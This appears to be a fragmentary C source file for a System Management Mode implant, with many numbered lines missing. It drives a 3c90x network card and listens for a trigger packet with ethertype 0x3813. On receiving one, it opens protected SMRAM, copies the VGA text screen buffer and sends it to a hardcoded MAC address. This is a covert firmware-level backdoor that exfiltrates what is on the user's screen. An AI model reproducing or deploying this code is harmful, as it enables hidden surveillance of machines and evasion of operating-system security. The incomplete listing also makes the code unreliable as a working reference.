3 #include <video_defines.h>
5 #include <pci-bother.h>
9 static struct nic *_nic = 0x0;
11 extern struct pci_driver a3c90x_driver;
13 static char test[1024] = {0};
15 static char packet[4096] = {0};
17 typedef struct packet_t {
20 unsigned short ethertype;
24 static unsigned char vga_read(unsigned char idx)
26 outb(CRTC_IDX_REG, idx);
27 return inb(CRTC_DATA_REG);
30 static unsigned int vga_base()
32 return (((unsigned int) vga_read(CRTC_START_ADDR_MSB_IDX)) << 9)
33 + (((unsigned int) vga_read(CRTC_START_ADDR_LSB_IDX)) << 1);
40 static short pos = 0x0;
41 unsigned short base = vga_base();
42 unsigned char *p = (unsigned char *)0xB8000;
43 smram_state_t old_state;
48 if (_nic->poll(_nic, 0)) {
49 _nic->packet = packet;
52 packet_t * p = (packet_t *) packet;
54 outputf("NIC: Packet: %d 0x%x", _nic->packetlen, p->ethertype);
55 if (p->ethertype == 0x3813) {
56 outputf("NIC: Command: 0x%x", *((uint16_t *)p->data));
59 smram_tseg_set_state(SMRAM_TSEG_OPEN);
60 old_state = smram_save_state();
68 test[3] = base & 0xFF;
70 smram_aseg_set_state(SMRAM_ASEG_SMMCODE);
72 for (i = 4; i < 1024; i++)
77 smram_restore_state(old_state);
78 _nic->transmit("\x00\x03\x93\x87\x84\x8C", 0x1337, 1024, test);
81 int eth_register(struct nic *nic)
91 /* Required for DMA to work. :( */
92 smram_tseg_set_state(SMRAM_TSEG_OPEN);
93 pci_probe_driver(a3c90x_driver);